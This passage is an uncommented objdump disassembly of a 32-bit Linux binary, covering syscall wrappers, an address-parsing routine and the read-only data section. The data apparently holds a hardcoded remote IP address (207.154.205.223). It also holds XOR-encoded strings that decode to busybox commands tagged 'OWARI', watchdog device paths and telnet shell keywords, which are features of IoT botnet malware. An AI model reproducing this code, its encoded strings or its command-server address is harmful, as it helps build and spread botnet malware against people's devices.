804e464: 56 push %esi | |
804e465: 53 push %ebx | |
804e466: 83 ec 10 sub $0x10,%esp | |
804e469: 8b 5c 24 28 mov 0x28(%esp),%ebx | |
804e46d: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804e471: 89 d9 mov %ebx,%ecx | |
804e473: 8b 7c 24 2c mov 0x2c(%esp),%edi | |
804e477: 89 cb mov %ecx,%ebx | |
804e479: 8d 74 24 08 lea 0x8(%esp),%esi | |
804e47d: c1 fb 1f sar $0x1f,%ebx | |
804e480: 8b 44 24 20 mov 0x20(%esp),%eax | |
804e484: 8b 54 24 24 mov 0x24(%esp),%edx | |
804e488: 53 push %ebx | |
804e489: 89 c3 mov %eax,%ebx | |
804e48b: b8 8c 00 00 00 mov $0x8c,%eax | |
804e490: cd 80 int $0x80 | |
804e492: 5b pop %ebx | |
804e493: 89 c6 mov %eax,%esi | |
804e495: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e49a: 76 0e jbe 0x804e4aa | |
804e49c: e8 15 e1 ff ff call 0x804c5b6 | |
804e4a1: f7 de neg %esi | |
804e4a3: 89 30 mov %esi,(%eax) | |
804e4a5: 83 ce ff or $0xffffffff,%esi | |
804e4a8: eb 04 jmp 0x804e4ae | |
804e4aa: 85 c0 test %eax,%eax | |
804e4ac: 74 05 je 0x804e4b3 | |
804e4ae: 89 f0 mov %esi,%eax | |
804e4b0: 99 cltd | |
804e4b1: eb 08 jmp 0x804e4bb | |
804e4b3: 8b 44 24 08 mov 0x8(%esp),%eax | |
804e4b7: 8b 54 24 0c mov 0xc(%esp),%edx | |
804e4bb: 83 c4 10 add $0x10,%esp | |
804e4be: 5b pop %ebx | |
804e4bf: 5e pop %esi | |
804e4c0: 5f pop %edi | |
804e4c1: c3 ret | |
804e4c2: 57 push %edi | |
804e4c3: 56 push %esi | |
804e4c4: 83 ec 04 sub $0x4,%esp | |
804e4c7: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e4cb: 8b 54 24 18 mov 0x18(%esp),%edx | |
804e4cf: 8b 74 24 1c mov 0x1c(%esp),%esi | |
804e4d3: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804e4d7: 8b 44 24 10 mov 0x10(%esp),%eax | |
804e4db: 53 push %ebx | |
804e4dc: 89 c3 mov %eax,%ebx | |
804e4de: b8 a3 00 00 00 mov $0xa3,%eax | |
804e4e3: cd 80 int $0x80 | |
804e4e5: 5b pop %ebx | |
804e4e6: 89 c6 mov %eax,%esi | |
804e4e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e4ed: 76 0c jbe 0x804e4fb | |
804e4ef: e8 c2 e0 ff ff call 0x804c5b6 | |
804e4f4: f7 de neg %esi | |
804e4f6: 89 30 mov %esi,(%eax) | |
804e4f8: 83 ce ff or $0xffffffff,%esi | |
804e4fb: 89 f0 mov %esi,%eax | |
804e4fd: 5a pop %edx | |
804e4fe: 5e pop %esi | |
804e4ff: 5f pop %edi | |
804e500: c3 ret | |
804e501: 53 push %ebx | |
804e502: 83 ec 08 sub $0x8,%esp | |
804e505: 8b 54 24 10 mov 0x10(%esp),%edx | |
804e509: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e50d: 87 d3 xchg %edx,%ebx | |
804e50f: b8 5b 00 00 00 mov $0x5b,%eax | |
804e514: cd 80 int $0x80 | |
804e516: 87 d3 xchg %edx,%ebx | |
804e518: 89 c3 mov %eax,%ebx | |
804e51a: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e51f: 76 0c jbe 0x804e52d | |
804e521: e8 90 e0 ff ff call 0x804c5b6 | |
804e526: f7 db neg %ebx | |
804e528: 89 18 mov %ebx,(%eax) | |
804e52a: 83 cb ff or $0xffffffff,%ebx | |
804e52d: 89 d8 mov %ebx,%eax | |
804e52f: 5a pop %edx | |
804e530: 59 pop %ecx | |
804e531: 5b pop %ebx | |
804e532: c3 ret | |
804e533: 53 push %ebx | |
804e534: 83 ec 08 sub $0x8,%esp | |
804e537: 8b 54 24 10 mov 0x10(%esp),%edx | |
804e53b: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e53f: 87 d3 xchg %edx,%ebx | |
804e541: b8 a2 00 00 00 mov $0xa2,%eax | |
804e546: cd 80 int $0x80 | |
804e548: 87 d3 xchg %edx,%ebx | |
804e54a: 89 c3 mov %eax,%ebx | |
804e54c: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e551: 76 0c jbe 0x804e55f | |
804e553: e8 5e e0 ff ff call 0x804c5b6 | |
804e558: f7 db neg %ebx | |
804e55a: 89 18 mov %ebx,(%eax) | |
804e55c: 83 cb ff or $0xffffffff,%ebx | |
804e55f: 89 d8 mov %ebx,%eax | |
804e561: 5a pop %edx | |
804e562: 59 pop %ecx | |
804e563: 5b pop %ebx | |
804e564: c3 ret | |
804e565: 56 push %esi | |
804e566: 53 push %ebx | |
804e567: 83 ec 04 sub $0x4,%esp | |
804e56a: 83 3d 04 f1 04 08 00 cmpl $0x0,0x804f104 | |
804e571: 8b 74 24 10 mov 0x10(%esp),%esi | |
804e575: 75 11 jne 0x804e588 | |
804e577: 83 ec 0c sub $0xc,%esp | |
804e57a: 6a 00 push $0x0 | |
804e57c: e8 5b 02 00 00 call 0x804e7dc | |
804e581: 83 c4 10 add $0x10,%esp | |
804e584: 85 c0 test %eax,%eax | |
804e586: 78 22 js 0x804e5aa | |
804e588: 85 f6 test %esi,%esi | |
804e58a: a1 04 f1 04 08 mov 0x804f104,%eax | |
804e58f: 75 04 jne 0x804e595 | |
804e591: 89 c3 mov %eax,%ebx | |
804e593: eb 18 jmp 0x804e5ad | |
804e595: 83 ec 0c sub $0xc,%esp | |
804e598: 89 c3 mov %eax,%ebx | |
804e59a: 8d 04 30 lea (%eax,%esi,1),%eax | |
804e59d: 50 push %eax | |
804e59e: e8 39 02 00 00 call 0x804e7dc | |
804e5a3: 83 c4 10 add $0x10,%esp | |
804e5a6: 85 c0 test %eax,%eax | |
804e5a8: 79 03 jns 0x804e5ad | |
804e5aa: 83 cb ff or $0xffffffff,%ebx | |
804e5ad: 89 d8 mov %ebx,%eax | |
804e5af: 5a pop %edx | |
804e5b0: 5b pop %ebx | |
804e5b1: 5e pop %esi | |
804e5b2: c3 ret | |
804e5b3: 57 push %edi | |
804e5b4: 56 push %esi | |
804e5b5: 83 ec 04 sub $0x4,%esp | |
804e5b8: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e5bc: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804e5c0: 8b 54 24 18 mov 0x18(%esp),%edx | |
804e5c4: 85 c9 test %ecx,%ecx | |
804e5c6: 74 15 je 0x804e5dd | |
804e5c8: 83 ff 02 cmp $0x2,%edi | |
804e5cb: 76 10 jbe 0x804e5dd | |
804e5cd: e8 e4 df ff ff call 0x804c5b6 | |
804e5d2: c7 00 16 00 00 00 movl $0x16,(%eax) | |
804e5d8: 83 c8 ff or $0xffffffff,%eax | |
804e5db: eb 27 jmp 0x804e604 | |
804e5dd: be 08 00 00 00 mov $0x8,%esi | |
804e5e2: 53 push %ebx | |
804e5e3: 89 fb mov %edi,%ebx | |
804e5e5: b8 af 00 00 00 mov $0xaf,%eax | |
804e5ea: cd 80 int $0x80 | |
804e5ec: 5b pop %ebx | |
804e5ed: 89 c6 mov %eax,%esi | |
804e5ef: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e5f4: 76 0c jbe 0x804e602 | |
804e5f6: e8 bb df ff ff call 0x804c5b6 | |
804e5fb: f7 de neg %esi | |
804e5fd: 89 30 mov %esi,(%eax) | |
804e5ff: 83 ce ff or $0xffffffff,%esi | |
804e602: 89 f0 mov %esi,%eax | |
804e604: 5a pop %edx | |
804e605: 5e pop %esi | |
804e606: 5f pop %edi | |
804e607: c3 ret | |
804e608: 57 push %edi | |
804e609: 83 ec 08 sub $0x8,%esp | |
804e60c: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804e610: 53 push %ebx | |
804e611: 89 fb mov %edi,%ebx | |
804e613: b8 2b 00 00 00 mov $0x2b,%eax | |
804e618: cd 80 int $0x80 | |
804e61a: 5b pop %ebx | |
804e61b: 89 c7 mov %eax,%edi | |
804e61d: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e622: 76 0c jbe 0x804e630 | |
804e624: e8 8d df ff ff call 0x804c5b6 | |
804e629: f7 df neg %edi | |
804e62b: 89 38 mov %edi,(%eax) | |
804e62d: 83 cf ff or $0xffffffff,%edi | |
804e630: 89 f8 mov %edi,%eax | |
804e632: 5a pop %edx | |
804e633: 59 pop %ecx | |
804e634: 5f pop %edi | |
804e635: c3 ret | |
804e636: 56 push %esi | |
804e637: 53 push %ebx | |
804e638: 83 ec 08 sub $0x8,%esp | |
804e63b: 8b 74 24 14 mov 0x14(%esp),%esi | |
804e63f: 8b 5c 24 18 mov 0x18(%esp),%ebx | |
804e643: 6a 58 push $0x58 | |
804e645: 6a 00 push $0x0 | |
804e647: 53 push %ebx | |
804e648: e8 ba df ff ff call 0x804c607 | |
804e64d: 0f b7 06 movzwl (%esi),%eax | |
804e650: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx) | |
804e657: 89 03 mov %eax,(%ebx) | |
804e659: 8b 46 04 mov 0x4(%esi),%eax | |
804e65c: 89 43 0c mov %eax,0xc(%ebx) | |
804e65f: 0f b7 46 08 movzwl 0x8(%esi),%eax | |
804e663: 89 43 10 mov %eax,0x10(%ebx) | |
804e666: 0f b7 46 0a movzwl 0xa(%esi),%eax | |
804e66a: 89 43 14 mov %eax,0x14(%ebx) | |
804e66d: 0f b7 46 0c movzwl 0xc(%esi),%eax | |
804e671: 89 43 18 mov %eax,0x18(%ebx) | |
804e674: 0f b7 46 0e movzwl 0xe(%esi),%eax | |
804e678: 89 43 1c mov %eax,0x1c(%ebx) | |
804e67b: 0f b7 46 10 movzwl 0x10(%esi),%eax | |
804e67f: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) | |
804e686: 89 43 20 mov %eax,0x20(%ebx) | |
804e689: 8b 46 14 mov 0x14(%esi),%eax | |
804e68c: 89 43 2c mov %eax,0x2c(%ebx) | |
804e68f: 8b 46 18 mov 0x18(%esi),%eax | |
804e692: 89 43 30 mov %eax,0x30(%ebx) | |
804e695: 8b 46 1c mov 0x1c(%esi),%eax | |
804e698: 89 43 34 mov %eax,0x34(%ebx) | |
804e69b: 8b 46 20 mov 0x20(%esi),%eax | |
804e69e: 89 43 38 mov %eax,0x38(%ebx) | |
804e6a1: 8b 46 28 mov 0x28(%esi),%eax | |
804e6a4: 89 43 40 mov %eax,0x40(%ebx) | |
804e6a7: 8b 46 30 mov 0x30(%esi),%eax | |
804e6aa: 89 43 48 mov %eax,0x48(%ebx) | |
804e6ad: 83 c4 14 add $0x14,%esp | |
804e6b0: 5b pop %ebx | |
804e6b1: 5e pop %esi | |
804e6b2: c3 ret | |
804e6b3: 57 push %edi | |
804e6b4: 56 push %esi | |
804e6b5: 8b 44 24 14 mov 0x14(%esp),%eax | |
804e6b9: 8b 74 24 10 mov 0x10(%esp),%esi | |
804e6bd: 89 c1 mov %eax,%ecx | |
804e6bf: 8b 7c 24 0c mov 0xc(%esp),%edi | |
804e6c3: c1 e9 02 shr $0x2,%ecx | |
804e6c6: f3 a5 rep movsl %ds:(%esi),%es:(%edi) | |
804e6c8: a8 02 test $0x2,%al | |
804e6ca: 74 02 je 0x804e6ce | |
804e6cc: 66 a5 movsw %ds:(%esi),%es:(%edi) | |
804e6ce: a8 01 test $0x1,%al | |
804e6d0: 74 01 je 0x804e6d3 | |
804e6d2: a4 movsb %ds:(%esi),%es:(%edi) | |
804e6d3: 8b 44 24 0c mov 0xc(%esp),%eax | |
804e6d7: 5e pop %esi | |
804e6d8: 5f pop %edi | |
804e6d9: c3 ret | |
804e6da: 55 push %ebp | |
804e6db: 57 push %edi | |
804e6dc: 56 push %esi | |
804e6dd: 53 push %ebx | |
804e6de: 83 ec 04 sub $0x4,%esp | |
804e6e1: 8b 4c 24 18 mov 0x18(%esp),%ecx | |
804e6e5: 85 c9 test %ecx,%ecx | |
804e6e7: 74 7d je 0x804e766 | |
804e6e9: 31 f6 xor %esi,%esi | |
804e6eb: c7 04 24 01 00 00 00 movl $0x1,(%esp) | |
804e6f2: eb 51 jmp 0x804e745 | |
804e6f4: 0f be 01 movsbl (%ecx),%eax | |
804e6f7: 8b 2d 84 f0 04 08 mov 0x804f084,%ebp | |
804e6fd: f6 44 45 00 08 testb $0x8,0x0(%ebp,%eax,2) | |
804e702: 74 62 je 0x804e766 | |
804e704: 31 ff xor %edi,%edi | |
804e706: eb 10 jmp 0x804e718 | |
804e708: 6b c7 0a imul $0xa,%edi,%eax | |
804e70b: 8d 7c 18 d0 lea -0x30(%eax,%ebx,1),%edi | |
804e70f: 81 ff ff 00 00 00 cmp $0xff,%edi | |
804e715: 7f 4f jg 0x804e766 | |
804e717: 41 inc %ecx | |
804e718: 8a 11 mov (%ecx),%dl | |
804e71a: 0f be da movsbl %dl,%ebx | |
804e71d: 0f b7 44 5d 00 movzwl 0x0(%ebp,%ebx,2),%eax | |
804e722: a8 08 test $0x8,%al | |
804e724: 75 e2 jne 0x804e708 | |
804e726: 83 3c 24 03 cmpl $0x3,(%esp) | |
804e72a: 7f 08 jg 0x804e734 | |
804e72c: 80 fa 2e cmp $0x2e,%dl | |
804e72f: 75 35 jne 0x804e766 | |
804e731: 41 inc %ecx | |
804e732: eb 09 jmp 0x804e73d | |
804e734: 41 inc %ecx | |
804e735: 84 d2 test %dl,%dl | |
804e737: 74 04 je 0x804e73d | |
804e739: a8 20 test $0x20,%al | |
804e73b: 74 29 je 0x804e766 | |
804e73d: c1 e6 08 shl $0x8,%esi | |
804e740: ff 04 24 incl (%esp) | |
804e743: 09 fe or %edi,%esi | |
804e745: 83 3c 24 04 cmpl $0x4,(%esp) | |
804e749: 7e a9 jle 0x804e6f4 | |
804e74b: b8 01 00 00 00 mov $0x1,%eax | |
804e750: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp) | |
804e755: 74 11 je 0x804e768 | |
804e757: 8b 44 24 1c mov 0x1c(%esp),%eax | |
804e75b: 0f ce bswap %esi | |
804e75d: 89 30 mov %esi,(%eax) | |
804e75f: b8 01 00 00 00 mov $0x1,%eax | |
804e764: eb 02 jmp 0x804e768 | |
804e766: 31 c0 xor %eax,%eax | |
804e768: 5a pop %edx | |
804e769: 5b pop %ebx | |
804e76a: 5e pop %esi | |
804e76b: 5f pop %edi | |
804e76c: 5d pop %ebp | |
804e76d: c3 ret | |
804e76e: 83 ec 0c sub $0xc,%esp | |
804e771: e8 b1 d9 ff ff call 0x804c127 | |
804e776: 52 push %edx | |
804e777: 52 push %edx | |
804e778: ff 74 24 18 pushl 0x18(%esp) | |
804e77c: 50 push %eax | |
804e77d: e8 30 da ff ff call 0x804c1b2 | |
804e782: 83 c4 1c add $0x1c,%esp | |
804e785: c3 ret | |
804e786: 53 push %ebx | |
804e787: b8 01 00 00 00 mov $0x1,%eax | |
804e78c: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
804e790: 8b 54 24 08 mov 0x8(%esp),%edx | |
804e794: 49 dec %ecx | |
804e795: 89 cb mov %ecx,%ebx | |
804e797: 83 e1 1f and $0x1f,%ecx | |
804e79a: c1 eb 05 shr $0x5,%ebx | |
804e79d: d3 e0 shl %cl,%eax | |
804e79f: 85 04 9a test %eax,(%edx,%ebx,4) | |
804e7a2: 5b pop %ebx | |
804e7a3: 0f 95 c0 setne %al | |
804e7a6: 0f b6 c0 movzbl %al,%eax | |
804e7a9: c3 ret | |
804e7aa: 53 push %ebx | |
804e7ab: b8 01 00 00 00 mov $0x1,%eax | |
804e7b0: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
804e7b4: 8b 5c 24 08 mov 0x8(%esp),%ebx | |
804e7b8: 49 dec %ecx | |
804e7b9: 89 ca mov %ecx,%edx | |
804e7bb: 83 e1 1f and $0x1f,%ecx | |
804e7be: c1 ea 05 shr $0x5,%edx | |
804e7c1: d3 e0 shl %cl,%eax | |
804e7c3: 09 04 93 or %eax,(%ebx,%edx,4) | |
804e7c6: 31 c0 xor %eax,%eax | |
804e7c8: 5b pop %ebx | |
804e7c9: c3 ret | |
804e7ca: 8b 50 1c mov 0x1c(%eax),%edx | |
804e7cd: 89 15 b8 f5 04 08 mov %edx,0x804f5b8 | |
804e7d3: 8b 40 2c mov 0x2c(%eax),%eax | |
804e7d6: a3 bc f5 04 08 mov %eax,0x804f5bc | |
804e7db: c3 ret | |
804e7dc: 53 push %ebx | |
804e7dd: ba 2d 00 00 00 mov $0x2d,%edx | |
804e7e2: 83 ec 08 sub $0x8,%esp | |
804e7e5: 89 d0 mov %edx,%eax | |
804e7e7: 8b 5c 24 10 mov 0x10(%esp),%ebx | |
804e7eb: 89 d9 mov %ebx,%ecx | |
804e7ed: 89 db mov %ebx,%ebx | |
804e7ef: cd 80 int $0x80 | |
804e7f1: 89 cb mov %ecx,%ebx | |
804e7f3: 31 c9 xor %ecx,%ecx | |
804e7f5: a3 04 f1 04 08 mov %eax,0x804f104 | |
804e7fa: 39 d8 cmp %ebx,%eax | |
804e7fc: 73 0e jae 0x804e80c | |
804e7fe: e8 b3 dd ff ff call 0x804c5b6 | |
804e803: 83 c9 ff or $0xffffffff,%ecx | |
804e806: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804e80c: 89 c8 mov %ecx,%eax | |
804e80e: 5a pop %edx | |
804e80f: 59 pop %ecx | |
804e810: 5b pop %ebx | |
804e811: c3 ret | |
804e812: 83 ec 0c sub $0xc,%esp | |
804e815: 89 c2 mov %eax,%edx | |
804e817: f7 da neg %edx | |
804e819: e8 98 dd ff ff call 0x804c5b6 | |
804e81e: 89 10 mov %edx,(%eax) | |
804e820: 83 c8 ff or $0xffffffff,%eax | |
804e823: 83 c4 0c add $0xc,%esp | |
804e826: c3 ret | |
804e827: 90 nop | |
804e828: 90 nop | |
804e829: 90 nop | |
804e82a: 90 nop | |
804e82b: 90 nop | |
804e82c: 90 nop | |
804e82d: 90 nop | |
804e82e: 90 nop | |
804e82f: 90 nop | |
804e830: 55 push %ebp | |
804e831: 89 e5 mov %esp,%ebp | |
804e833: 53 push %ebx | |
804e834: 83 ec 04 sub $0x4,%esp | |
804e837: bb 00 f0 04 08 mov $0x804f000,%ebx | |
804e83c: a1 00 f0 04 08 mov 0x804f000,%eax | |
804e841: 83 f8 ff cmp $0xffffffff,%eax | |
804e844: 74 0c je 0x804e852 | |
804e846: 83 eb 04 sub $0x4,%ebx | |
804e849: ff d0 call *%eax | |
804e84b: 8b 03 mov (%ebx),%eax | |
804e84d: 83 f8 ff cmp $0xffffffff,%eax | |
804e850: 75 f4 jne 0x804e846 | |
804e852: 58 pop %eax | |
804e853: 5b pop %ebx | |
804e854: 5d pop %ebp | |
804e855: c3 ret | |
Disassembly of section .fini: | |
0804e856 <.fini>: | |
804e856: 55 push %ebp | |
804e857: 89 e5 mov %esp,%ebp | |
804e859: 53 push %ebx | |
804e85a: e8 51 98 ff ff call 0x80480b0 | |
804e85f: 81 c3 b5 07 00 00 add $0x7b5,%ebx | |
804e865: e8 56 98 ff ff call 0x80480c0 | |
804e86a: 5b pop %ebx | |
804e86b: 5d pop %ebp | |
804e86c: c3 ret | |
Disassembly of section .rodata: | |
0804e880 <.rodata>: | |
804e880: 2f das | |
804e881: 00 32 add %dh,(%edx) | |
804e883: 30 37 xor %dh,(%edi) | |
804e885: 2e 31 35 34 2e 32 30 xor %esi,%cs:0x30322e34 | |
804e88c: 35 2e 32 32 33 xor $0x3332322e,%eax | |
804e891: 00 0a add %cl,(%edx) | |
804e893: 00 00 add %al,(%eax) | |
804e895: 00 00 add %al,(%eax) | |
804e897: 01 00 add %eax,(%eax) | |
804e899: 37 aaa | |
804e89a: 89 00 mov %eax,(%eax) | |
804e89c: 44 inc %esp | |
804e89d: 52 push %edx | |
804e89e: 00 1b add %bl,(%ebx) | |
804e8a0: 03 15 06 1d 64 6d add 0x6d641d06,%edx | |
804e8a6: 65 66 67 3d 30 6d gs addr16 cmp $0x6d30,%ax | |
804e8ac: 3d 65 66 67 2c cmp $0x2c676665,%eax | |
804e8b1: 30 6d 65 xor %ch,0x65(%ebp) | |
804e8b4: 66 54 push %sp | |
804e8b6: 00 27 add %ah,(%edi) | |
804e8b8: 3c 31 cmp $0x31,%al | |
804e8ba: 38 38 cmp %bh,(%eax) | |
804e8bc: 54 push %esp | |
804e8bd: 00 31 add %dh,(%ecx) | |
804e8bf: 3a 35 36 38 31 54 cmp 0x54313836,%dh | |
804e8c5: 00 27 add %ah,(%edi) | |
804e8c7: 2d 27 20 31 39 sub $0x39312027,%eax | |
804e8cc: 54 push %esp | |
804e8cd: 00 27 add %ah,(%edi) | |
804e8cf: 3c 54 cmp $0x54,%al | |
804e8d1: 00 7b 36 add %bh,0x36(%ebx) | |
804e8d4: 3d 3a 7b 36 21 cmp $0x21367b3a,%eax | |
804e8d9: 27 daa | |
804e8da: 2d 36 3b 2c 74 sub $0x742c3b36,%eax | |
804e8df: 1b 03 sbb (%ebx),%eax | |
804e8e1: 15 06 1d 54 00 adc $0x541d06,%eax | |
804e8e6: 1b 03 sbb (%ebx),%eax | |
804e8e8: 15 06 1d 6e 74 adc $0x746e1d06,%eax | |
804e8ed: 35 24 24 38 31 xor $0x31382424,%eax | |
804e8f2: 20 74 3a 3b and %dh,0x3b(%edx,%edi,1) | |
804e8f6: 20 74 32 3b and %dh,0x3b(%edx,%esi,1) | |
804e8fa: 21 3a and %edi,(%edx) | |
804e8fc: 30 54 00 3a xor %dl,0x3a(%eax,%eax,1) | |
804e900: 37 aaa | |
804e901: 3b 26 cmp (%esi),%esp | |
804e903: 26 31 37 xor %esi,%es:(%edi) | |
804e906: 20 54 00 7b and %dl,0x7b(%eax,%eax,1) | |
804e90a: 36 3d 3a 7b 36 21 ss cmp $0x21367b3a,%eax | |
804e910: 27 daa | |
804e911: 2d 36 3b 2c 74 sub $0x742c3b36,%eax | |
804e916: 24 27 and $0x27,%al | |
804e918: 54 push %esp | |
804e919: 00 7b 36 add %bh,0x36(%ebx) | |
804e91c: 3d 3a 7b 36 21 cmp $0x21367b3a,%eax | |
804e921: 27 daa | |
804e922: 2d 36 3b 2c 74 sub $0x742c3b36,%eax | |
804e927: 3f aas | |
804e928: 3d 38 38 74 79 cmp $0x79743838,%eax | |
804e92d: 6d insl (%dx),%es:(%edi) | |
804e92e: 74 54 je 0x804e984 | |
804e930: 00 7b 24 add %bh,0x24(%ebx) | |
804e933: 26 3b 37 cmp %es:(%edi),%esi | |
804e936: 7b 54 jnp 0x804e98c | |
804e938: 00 7b 31 add %bh,0x31(%ebx) | |
804e93b: 2c 31 sub $0x31,%al | |
804e93d: 54 push %esp | |
804e93e: 00 7b 32 add %bh,0x32(%ebx) | |
804e941: 30 54 00 7b xor %dl,0x7b(%eax,%eax,1) | |
804e945: 39 35 24 27 54 00 cmp %esi,0x542724 | |
804e94b: 7b 24 jnp 0x804e971 | |
804e94d: 26 3b 37 cmp %es:(%edi),%esi | |
804e950: 7b 3a jnp 0x804e98c | |
804e952: 31 20 xor %esp,(%eax) | |
804e954: 7b 20 jnp 0x804e976 | |
804e956: 37 aaa | |
804e957: 24 54 and $0x54,%al | |
804e959: 00 7b 27 add %bh,0x27(%ebx) | |
804e95c: 20 35 20 21 27 54 and %dh,0x54272120 | |
804e962: 00 7a 35 add %bh,0x35(%edx) | |
804e965: 3a 3d 39 31 54 00 cmp 0x543139,%bh | |
804e96b: 7b 24 jnp 0x804e991 | |
804e96d: 26 3b 37 cmp %es:(%edi),%esi | |
804e970: 7b 3a jnp 0x804e9ac | |
804e972: 31 20 xor %esp,(%eax) | |
804e974: 7b 26 jnp 0x804e99c | |
804e976: 3b 21 cmp (%ecx),%esp | |
804e978: 20 31 and %dh,(%ecx) | |
804e97a: 54 push %esp | |
804e97b: 00 35 27 27 23 3b add %dh,0x3b232727 | |
804e981: 26 30 54 00 7b xor %dl,%es:0x7b(%eax,%eax,1) | |
804e986: 31 20 xor %esp,(%eax) | |
804e988: 37 aaa | |
804e989: 7b 26 jnp 0x804e9b1 | |
804e98b: 31 27 xor %esp,(%edi) | |
804e98d: 3b 38 cmp (%eax),%edi | |
804e98f: 22 7a 37 and 0x37(%edx),%bh | |
804e992: 3b 3a cmp (%edx),%edi | |
804e994: 32 54 00 3a xor 0x3a(%eax,%eax,1),%dl | |
804e998: 35 39 31 27 31 xor $0x31273139,%eax | |
804e99d: 26 22 31 and %es:(%ecx),%dh | |
804e9a0: 26 74 54 es je 0x804e9f7 | |
804e9a3: 00 7b 30 add %bh,0x30(%ebx) | |
804e9a6: 31 22 xor %esp,(%edx) | |
804e9a8: 7b 23 jnp 0x804e9cd | |
804e9aa: 35 20 37 3c 30 xor $0x303c3720,%eax | |
804e9af: 3b 33 cmp (%ebx),%esi | |
804e9b1: 54 push %esp | |
804e9b2: 00 7b 30 add %bh,0x30(%ebx) | |
804e9b5: 31 22 xor %esp,(%edx) | |
804e9b7: 7b 39 jnp 0x804e9f2 | |
804e9b9: 3d 27 37 7b 23 cmp $0x237b3727,%eax | |
804e9be: 35 20 37 3c 30 xor $0x303c3720,%eax | |
804e9c3: 3b 33 cmp (%ebx),%esi | |
804e9c5: 54 push %esp | |
804e9c6: 00 24 36 add %ah,(%esi,%esi,1) | |
804e9c9: 36 32 2a xor %ss:(%edx),%ch | |
804e9cc: 37 aaa | |
804e9cd: 21 45 00 and %eax,0x0(%ebp) | |
804e9d0: 3b 33 cmp (%ebx),%esi | |
804e9d2: 3d 3a 54 00 31 cmp $0x3100543a,%eax | |
804e9d7: 3a 20 cmp (%eax),%ah | |
804e9d9: 31 26 xor %esp,(%esi) | |
804e9db: 54 push %esp | |
804e9dc: 00 6d 21 add %ch,0x21(%ebp) | |
804e9df: 65 66 67 60 gs addr16 pushaw | |
804e9e3: 60 pusha | |
804e9e4: 6c insb (%dx),%es:(%edi) | |
804e9e5: 21 65 66 and %esp,0x66(%ebp) | |
804e9e8: 60 pusha | |
804e9e9: 35 21 6c 65 60 xor $0x60656c21,%eax | |
804e9ee: 30 60 2c xor %ah,0x2c(%eax) | |
804e9f1: 65 64 54 gs fs push %esp | |
804e9f4: 00 00 add %al,(%eax) | |
804e9f6: 07 pop %es | |
804e9f7: 3b 21 cmp (%ecx),%esp | |
804e9f9: 26 37 es aaa | |
804e9fb: 31 74 11 3a xor %esi,0x3a(%ecx,%edx,1) | |
804e9ff: 33 3d 3a 31 74 05 xor 0x574313a,%edi | |
804ea05: 21 31 and %esi,(%ecx) | |
804ea07: 26 2d 54 00 00 44 es sub $0x44000054,%eax | |
804ea0d: dc 04 08 faddl (%eax,%ecx,1) | |
804ea10: 29 dd sub %ebx,%ebp | |
804ea12: 04 08 add $0x8,%al | |
804ea14: 4e dec %esi | |
804ea15: dc 04 08 faddl (%eax,%ecx,1) | |
804ea18: 58 pop %eax | |
804ea19: dc 04 08 faddl (%eax,%ecx,1) | |
804ea1c: 62 (bad) | |
804ea1d: dc 04 08 faddl (%eax,%ecx,1) | |
804ea20: f8 clc | |
804ea21: dc 04 08 faddl (%eax,%ecx,1) | |
804ea24: 6a dc push $0xffffffdc | |
804ea26: 04 08 add $0x8,%al | |
804ea28: 2a dc sub %ah,%bl | |
804ea2a: 04 08 add $0x8,%al | |
804ea2c: 2a dc sub %ah,%bl | |
804ea2e: 04 08 add $0x8,%al | |
804ea30: 2a dc sub %ah,%bl | |
804ea32: 04 08 add $0x8,%al | |
804ea34: 2a dc sub %ah,%bl | |
804ea36: 04 08 add $0x8,%al | |
804ea38: 2a dc sub %ah,%bl | |
804ea3a: 04 08 add $0x8,%al | |
804ea3c: 2a dc sub %ah,%bl | |
804ea3e: 04 08 add $0x8,%al | |
804ea40: 2a dc sub %ah,%bl | |
804ea42: 04 08 add $0x8,%al | |
804ea44: 2a dc sub %ah,%bl | |
804ea46: 04 08 add $0x8,%al | |
804ea48: 2a dc sub %ah,%bl | |
804ea4a: 04 08 add $0x8,%al | |
804ea4c: 2a dc sub %ah,%bl | |
804ea4e: 04 08 add $0x8,%al | |
804ea50: 2a dc sub %ah,%bl | |
804ea52: 04 08 add $0x8,%al | |
804ea54: 2a dc sub %ah,%bl | |
804ea56: 04 08 add $0x8,%al | |
804ea58: 2a dc sub %ah,%bl | |
804ea5a: 04 08 add $0x8,%al | |
804ea5c: 2a dc sub %ah,%bl | |
804ea5e: 04 08 add $0x8,%al | |
804ea60: 2a dc sub %ah,%bl | |
804ea62: 04 08 add $0x8,%al | |
804ea64: 2a dc sub %ah,%bl | |
804ea66: 04 08 add $0x8,%al | |
804ea68: 29 dd sub %ebx,%ebp | |
804ea6a: 04 08 add $0x8,%al | |
804ea6c: 29 dd sub %ebx,%ebp | |
804ea6e: 04 08 add $0x8,%al | |
804ea70: 35 dd 04 08 06 xor $0x60804dd,%eax | |
804ea75: dd 04 08 fldl (%eax,%ecx,1) | |
804ea78: 29 dd sub %ebx,%ebp | |
804ea7a: 04 08 add $0x8,%al | |
804ea7c: 7c dc jl 0x804ea5a | |
804ea7e: 04 08 add $0x8,%al | |
804ea80: ff (bad) | |
804ea81: dc 04 08 faddl (%eax,%ecx,1) | |
804ea84: 74 dc je 0x804ea62 | |
804ea86: 04 08 add $0x8,%al | |
804ea88: 14 dd adc $0xdd,%al | |
804ea8a: 04 08 add $0x8,%al | |
804ea8c: 29 dd sub %ebx,%ebp | |
804ea8e: 04 08 add $0x8,%al | |
804ea90: 29 dd sub %ebx,%ebp | |
804ea92: 04 08 add $0x8,%al | |
804ea94: 29 dd sub %ebx,%ebp | |
